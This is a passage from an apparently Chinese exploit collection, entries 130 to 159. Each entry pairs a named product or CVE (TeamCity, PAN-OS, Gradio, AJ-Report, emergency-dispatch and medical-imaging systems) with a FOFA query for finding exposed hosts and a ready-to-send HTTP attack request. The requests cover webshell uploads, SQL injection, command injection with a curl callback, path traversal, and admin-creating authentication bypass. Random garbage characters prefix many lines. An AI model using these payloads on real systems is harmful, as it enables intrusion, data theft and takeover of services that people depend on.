7 N' L6 s/ Y' {Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9


" @& O8 A& F8 u+ w  B/ d/ A130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
+ K6 b" r. r0 J/ HPOST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
' ]  y8 H9 R$ ~  s. KAccept: application/json, text/javascript, */*; q=0.01
- L' d! K/ @( d( T% A* l6 y! uX-Requested-With: XMLHttpRequest
1 l7 K- B3 o, D+ Y- aUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
" X. v* Z2 o) T$ s# ZContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
4 h3 V1 @* I! z5 k& x4 a* F( [6 {Connection: close
6 X) C' n% C, M! H% _
; ]+ F0 c& q1 m) v; H) t; w; ]------WebKitFormBoundary3OCVBiwBVsNuB2kR
$ x# G5 y5 L; H, bContent-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--


' J/ t" p$ F& b$ {' I/ O! v0 |5 K131. Mini-Tmall <=20231017 SQL注入
# @2 t1 y" i3 N! @. a, `( Y5 PFOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
' u/ c3 U0 H2 S: p! ?http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
$ ~9 `6 M3 i2 b( I& s
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
$ ~0 s4 u8 e, c/ n( Q0 dPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
2 Q# ?" y8 X4 {Content-Type: application/json
0 S3 ~; r/ \+ m$ VAccept-Encoding: gzip, deflate

{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


CVE-2024-27199
1 M' J  a, c( S6 y/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp
- o6 T6 l. S- i* R" I
  N8 _* Q# |1 o) f
CVE-2024-27198-RCE.py
2 b1 a1 o0 }9 E+ A
133. H5 云商城 file.php 文件上传
: }& ~3 _3 I. S# C# iFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
5 l' d1 ^6 c/ b' S) vHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
3 T# d" o( ?3 a7 o% {Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
+ @% ~& ], E' kContent-Type: application/octet-stream
/ h$ C" D0 \4 [6 p$ J4 x
6 @8 U/ J. H! \. ]! A* C<?php system("cat /etc/passwd");unlink(__FILE__);?>
: E, Z- N6 P; ~2 z------WebKitFormBoundaryFQqYtrIWb8iBxUCx--

# [% |* _& h; J& k; n, V/ Y

134. 网康NS-ASG应用安全网关index.php sql注入
" H, {) Z" n( i8 d3 XCVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
* j8 g: P& J/ \! l* W; vFOFA：app="网康科技-NS-ASG安全网关"
: n4 r1 C- @, @" A1 x7 O0 CPOST /protocol/index.php HTTP/1.1
Host: x.x.x.x
5 X2 R# i6 L! hCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
7 |  F6 A) ?5 ?% v* ]1 P& JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
3 J8 ~' k; @+ O, L. MAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
- k# U3 Z8 s) }) [5 z7 ZSec-Fetch-Site: same-origin
Te: trailers
  o. U+ e& F. D" g" Y5 f  t4 y) KConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263
7 {+ U6 a& ^# k7 I0 Q6 P) x' i' t
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

) H8 y6 T/ M2 p4 C: \
  N: X3 q: ?/ ?1 A% a5 }, i135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
4 s" _1 x3 N* T3 n& X. B  pNetentsec NS-ASG Application Security Gateway 6.3版本
& {/ Z1 c, ]  W- X) P* tFOFA：app="网康科技-NS-ASG安全网关"
$ V' Z/ \7 D' S+ t, ]9 @GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
0 b$ |4 U; z5 a% h( \4 ~5 MHost: x.x.x.x
% Y7 h* C3 v6 ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
* N) s& q1 c: L5 y6 A8 G  Z/ nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 q1 ]' A# ]- W6 JConnection: close
/ M) `; q- x& }" N, i3 o

2 j9 l! [) w; _# o: m; V2 A& \7 S136. NextChat cors SSRF
9 x( u1 f" ~( t* Y( ]: g7 fCVE-2023-49785
FOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
" s& w. l, c* {5 r5 o; K/ l7 R7 xHost: x.x.x.x:10000
3 _* Y4 Y& P# M: _& w" _User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
+ P. h( t8 j# i9 u- }' j# \Accept: */*
+ Q* z5 j0 a- d' H6 gAccept-Language: en
Accept-Encoding: gzip

' y# E7 c, _, B6 K/ a
6 t! o  J+ Q. f& o- {" \/ Z" b" n137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
0 ^( Z( }! I" g6 t4 |& fFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
( I, f2 s0 }1 H# B2 c; L0 JConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
! K- U* w% U+ |, Y" ^4 s' \2 a8 KUpgrade-Insecure-Requests: 1

: f' W4 a: L* i" R# z: a8 f
& h  K7 J7 O: d: H% s: ]4 \138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
3 k, ]+ D5 o9 Q" C! k1 y; VFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
& ]7 r+ R6 {% m$ E. o6 s& M+ CGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  @- C. e; z  E, V' @  V: NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. v/ p# r) ^" WAccept-Encoding: gzip, deflate, br
1 y# B& K/ P9 L7 v+ K+ g) lConnection: close
  J  |8 a1 t: O1 r5 m5 v  C9 ?Upgrade-Insecure-Requests: 1
- G# ?6 v9 _) F7 y- L" f; p

139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 u* c: R; C, @! U- _$ g6 R6 m3 ~Accept-Encoding: gzip, deflate, br
Connection: close
" c4 B; g( \' DCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
* M3 W0 Y3 s" ]2 zUpgrade-Insecure-Requests: 1


140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
$ J  ?0 R# h# v$ nFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
. M1 u% R- ^/ {) n+ Q4 ?7 BGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% q: O2 Y+ Q  ~' s9 ~  s4 b  p4 `6 ?Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 I7 V$ {" z: J& n5 \- r  [Accept-Encoding: gzip, deflate, br
: V$ |0 s" u6 G7 ]Connection: close
" O1 g4 D6 m$ O' ~( M% P, m: |Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
1 I  u; d- ]3 G  ^# P+ C# c
$ p8 A2 q7 C' R" B3 E
7 I/ m0 |, ^  K8 h141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
0 d1 \- h; e+ {  ?3 lFOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
+ N) R# x9 h  }" }3 j, V8 Z& v0 mHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded
# h/ B% z% Y9 d. P$ ]; U* I% ^

( a) Q  v9 J+ D3 `/ T9 qdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -


142. CMSV6车辆监控平台系统中存在弱密码
3 N4 I: |, C, j7 V$ JCVE-2024-29666
& P/ ?" K( T5 C0 e, tFOFA：body="/808gps/"
admin/admin
- f0 _% ]; w/ b2 C: z, J9 i143. Netis WF2780 v2.1.40144 远程命令执行
; T4 N+ ?0 W! ?# ]CVE-2024-25850
FOFA：title='AP setup' && header='netis'
% c9 U3 m" s7 e5 [& k% DPAYLOAD
' f! t, w  ?* {- {
& U. v6 X, W9 s3 M% l144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
1 m+ P* y0 D+ ]8 kGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
7 Z- R: o5 R8 E! ^3 vUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
1 L) g$ \* Z0 n- V! g( pConnection: close
. I+ P6 `" }: @( m+ fAccept: */*
! ~- U' A4 Y/ W! h5 k! |! O$ GAccept-Language: en
Accept-Encoding: gzip
5 [5 L. [  O* M; b7 K! h+ f7 t

145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
6 t* X9 L) U7 GFOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
! V$ Y) }( g% k/ nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
* r0 E) J, G+ B: KConnection: close
; k$ s4 C. ?/ T& xCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
* d- S5 N/ @, a' [- y! ?9 I% K5 ~Accept-Encoding: gzip


  R6 R  p8 A1 ]9 q, Q* D* `/ [5 p: b146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
% d2 Z) N0 f* K9 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
8 h1 x$ H; n3 I5 `6 F" K3 Y% nAccept-Encoding: gzip, deflate
3 @8 `7 `7 N1 x. uConnection: close

5 a2 x0 B+ l6 Y& x, j
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
6 W6 I+ b' K, K' M  eCVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
+ X- E( O% o- B+ sHost: 127.0.0.1:81
, P/ g; a3 g( O/ mCache-Control: max-age=0
0 T7 o* w! f9 e5 p& W! ]2 _! q7 dConnection: close
# r/ {! C4 ?" b3 J. a3 S2 s3 l
5 {3 V; A7 M2 e3 L# \& C, D
148. CrushFTP 认证绕过模板注入
5 v) M* v0 d" q/ |+ x  }' UCVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD
5 p0 H1 L& @6 e/ f4 E( d
  Z8 \8 U; `  Z9 n2 |& C1 N' }149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"
4 G! \& @# _0 _0 y& d1 b" W5 r2 ]
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
* _2 j: o: q9 p( f5 ?. v4 Q0 U; |Host: x.x.x.x
. k+ R1 P$ T  c8 SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
! v: E$ t: z4 L/ c( R8 OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. n- X! N1 B- Y5 s7 nAccept-Encoding: gzip, deflate, br
9 [. a0 s+ s3 H8 KAccept-Language: zh-CN,zh;q=0.9
4 N9 a; F& l. P) G9 AContent-Type: application/json;charset=UTF-8
) `  z" L' h* ]/ wConnection: close
4 z! @: x9 M0 n6 U5 {
4 z& T; X" F2 m- ^; z{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

9 |9 r+ U7 S' o% p- ]- Y150. AJ-Report 1.4.0 认证绕过与远程代码执行
# v8 _/ ^2 f- S) M9 WFOFA：title="AJ-Report"
6 ]6 g' Q; g. v' m8 T4 BPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
5 L6 a( y/ y7 B( o5 JHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
/ [1 N( P  Q8 J1 S  q* _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, Z2 j6 s3 T, d: p  V" ~. e. ]+ {; GAccept-Encoding: gzip, deflate, br
5 ~4 O4 v0 j* F" w4 hAccept-Language: zh-CN,zh;q=0.9
5 A" R. X3 p9 t% Q8 w0 mContent-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339
& |- C* S; [6 m! i+ D' `4 `- v9 b$ w
' d8 B4 Q( d- B. v, _{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
  r  x0 e: t6 z" A' W3 zHost: x.x.x.x
8 _. ^2 g0 Z% m& ~, P( `User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% |* }8 i6 L6 ~9 L) J6 u; \Connection: close
Accept-Encoding: gzip

$ W& N" |- J+ s1 P
152. Progress Kemp LoadMaster 远程命令执行
, \. T: Z7 N: t6 k! aCVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
2 S! a1 o, H0 j. T/ `LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
, r# p$ H- N- x2 c8 XConnection: close
* K% s2 Z$ G. z. _# d% t7 H3 ?: E, ?Accept: */*
, ]; C8 c5 j& f) LAccept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip

& O% G! R. S9 P9 B  ^3 i& h) q! y" P
, Q9 r. W' b2 a5 j% @: O153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
  C+ \9 @+ U; c$ O1 r! {http://x.x.x.x/config

" O( Z: z, J; r5 D
9 E1 f) c1 ~' T1 X6 X7 }! s1 A7 S9 c第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
* }$ s5 R# r# X4 u5 ?/ H  e# S- sHost: x.x.x.x
' n7 _  V0 |3 ^, UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
3 x9 p, m5 ?  T) z4 ?Connection: close
' P" I. G. S# }  ?0 JContent-Length: 115
/ I$ y" ~; R9 |. IContent-Type: application/json
, h$ }$ d1 p6 ?. ?Accept-Encoding: gzip

; Q$ l/ `( n* d{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


6 X/ u( s  I& I: u3 C% Q/ m第三步访问
( Y, T4 l+ `# u( t$ Whttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

7 ?, B0 h- t6 E+ W1 }  O
, |% T" _, B; p: B' D" P! m& `154. 天维尔消防救援作战调度平台 SQL注入
  e) u6 e9 a- bCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
2 X+ T8 A1 D6 ^7 [0 BPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
1 s8 E  E5 d# C; X# m$ s4 E/ }3 {Cache-Control: max-age=0
. y( W& G- G) y3 [! KUpgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: application/json
* ?0 F: h6 Y1 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
  ~4 {& E* m0 y9 \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
7 K6 ^) F7 {& }1 E% k1 [+ kAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

3 Y9 W/ l$ U+ m% I0 o2 y' I{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


0 P" j0 _3 F3 @/ ?155. 六零导航页 file.php 任意文件上传
4 Q& y- s* |+ TCVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
; \7 I8 ~. [4 o. V- P# wHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest
+ Q- \; g  h% g4 q
-----------------------------qttl7vemrsold314zg0f
( `3 ~7 x1 x9 B- s4 h5 q7 Q. `& EContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--


, `1 A) j8 |; l访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
# U% `( ~( U) B" h# f6 n2 {FOFA："Location: /login.rsp"
·TBK DVR-4104
9 E0 n: j" o9 ?0 y·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
; T- s( {3 f" a

POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
  S6 p. O* ^9 J! x8 W! F! g4 _Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, I3 t3 W1 W6 R/ ?9 t/ O, ?+ `5 dConnection: close
Content-Length: 0
) o% j$ j" `. y6 ICookie: uid=1
  W3 q5 I/ _# \% F/ Z' wAccept-Encoding: gzip
% D" A1 y3 H2 p% n% j
# }, q/ m0 j( l7 C0 u. p
157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
4 ?" O' x* v! {) T  w: @  RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
% t1 ?$ d* y8 s; s( F  `Content-Length: 709
8 q) m6 S2 P/ q5 J. b5 q6 O7 e; mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
$ k: k( Q" X! E1 P6 X; T# jAccept-Language: zh-CN,zh;q=0.9
& Q" ]' M. h8 Y& k; ECache-Control: max-age=0
4 @. F% Y& m5 }; z5 bConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
. k! t& \8 t  O; F
------WebKitFormBoundary1imovELzPsfzp5dN
' ]7 ?. W! t0 |- s: RContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
/ g- B2 L. y; ^$ ~9 t) TContent-Disposition: form-data; name="key"
4 o/ u/ \/ c  ~. m
4 N1 S) ], e. R$ R( x" ?  fnull
6 W6 v. f- L9 B, M------WebKitFormBoundary1imovELzPsfzp5dN
: t+ g5 G3 O- u% J6 ~. E3 U2 QContent-Disposition: form-data; name="form"
3 \/ i, V& j% [! W, I2 _/ ^% J
null
" H" u. N% {% h& Z7 q7 F5 [( @' e------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"
* P* @$ p* z' a1 f# j, X" t( A
/ P5 ?/ m4 H# J/ D& T  Vnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"
$ y9 R+ R7 J2 ^7 c$ r2 @) o% b: i8 J- @
# u2 a5 l1 }. G; rnull
. l6 g. Y" N+ ?, Z. V------WebKitFormBoundary1imovELzPsfzp5dN
" v$ Y& Z! a, \0 l' n- HContent-Disposition: form-data; name="filefolder"
5 I  o) D: i2 `$ e9 X& c* h: J8 ^
null
------WebKitFormBoundary1imovELzPsfzp5dN--
: D4 U9 a( S( ~
9 \/ w! s* ?! V! k2 p: S+ F$ R4 M
http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
, X6 R/ f  i8 I* ~
- f# k. m& e& H% i  n158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
# @0 t! L: A! L+ _: g! t7 n- NFOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
. s2 n7 p9 y* [$ {* sContent-Type: application/x-www-form-urlencoded
8 G1 ]) \2 ~- X. [/ X
object=displayregion&contenthistid=x\'&previewid=1
7 p$ D  O8 b) p0 m+ P* q/ Z

159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
3 j0 `! x+ J) _# @- PFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
! t9 \- g+ L" W. @. o% f6 eContent-Type: text/xml; charset=utf-8
6 e$ V# S; s) w1 b6 gSoapaction: "http://rainier/jobUpload"
( x. t/ z0 N' f. G
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
- K9 l4 y, N$ E  ?4 {, Y( t<subFolder></subFolder>
2 p" u# r" L5 B* G<fileName>abcrce.asmx</fileName>
